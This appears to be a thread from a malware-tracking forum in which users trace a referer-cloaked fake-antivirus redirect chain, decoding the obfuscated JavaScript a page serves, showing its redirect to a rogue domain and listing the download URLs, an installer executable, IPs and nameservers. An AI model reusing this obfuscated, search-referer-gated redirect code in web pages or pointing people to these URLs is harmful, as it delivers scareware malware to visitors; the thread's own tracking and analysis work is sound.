mail-form-submissions-freewebs.jeorpyivni.in > premiumlivescanv1.com

[MysteryFCM]

Starts at;

mail-form-submissions-freewebs.jeorpyivni.in (IP: 194.110.161.47 - host-194-110-161-47.extendedhost.com)

If you pass it a Google (or other search engine) referer, you will see;

Code: [Select]

document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%0D%0A%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%0D%0A%7D%0D%0A%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/mpdbujpo%264E%2633iuuq%264B00mjwfbwboucspxtfs3/do0hp/qiq%264Gje%264E3128%2637lfz%264Edcbgc6dc3%2637q%264E2%2633%264C%264D0tdsjqu%264F1');
Decode this;

Code: [Select]

<script language="javascript">
function dF(s){
var s1=unescape(s.substr(0,s.length-1)); var t='';
for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));
document.write(unescape(t));
}
</script>
Throw that together with the first, and we have;

Code: [Select]

<script>document.location="http://liveavantbrowser2.cn/go.php?id=2017&key=cbafb5cb2&p=1";</script>
Which takes you to;

http://liveavantbrowser2.cn/go.php?id=2017&key=cbafb5cb2&p=1 (IP: 83.133.123.140 - t490.1paket.com)

 IP: 83.133.115.9 - t529.1paket.com

 - http://premiumlivescanv1.com/1/?id=2017&smersh=b63db03e5&back=%3DTQ30zj0MEQMMI%3DN
 - http://premiumlivescanv1.com/download.php?id=2017
 - http://premiumlivescanv1.com/download/Install_2017.exe

If you don't feed the originating domain with a Google referer, you're left with;

http://vurl.mysteryfcm.co.uk/?url=619082

Note the missing code? No? Then see the following and compare them;

http://vurl.mysteryfcm.co.uk/?url=619081

[JohnC]

premiumlivescanv1.com 38.99.170.9
premiumlivescanv1.com 69.4.230.204
premiumlivescanv1.com 83.133.115.9
premiumlivescanv1.com 78.47.91.153

NameServers for Rogue sites
ns1.futureselfdeeds.com 78.47.88.217
ns2.futureselfdeeds.com 202.73.56.153
ns3.futureselfdeeds.com 203.174.83.75

[SysAdMini]

Interesting. I have seen liveavantbrowser2.cn redirecting to other Fake AV domains.

for example:

http://www.malwaredomainlist.com/mdl.php?search=Kayan+M+Aslan&colsearch=All&quantity=50

[Malware-Web-Threats]

The successor: advanedmalwarescanner[.]com according to an old report (Wepawet)

Code: [Select]

hxxp://a-n-d-the.com/wtr/router.php?ref=&niche=32&sensor=dssounds.co.uk/uthankyou/smain.php&r32=1
Wepawet

Code: [Select]

hxxp://dssounds.co.uk/uthankyou/smain.php?id=average%20weather%20for%20majorca
Wepawet (old report but same result)

related to: http://www.malwaredomainlist.com/forums/index.php?topic=2821.0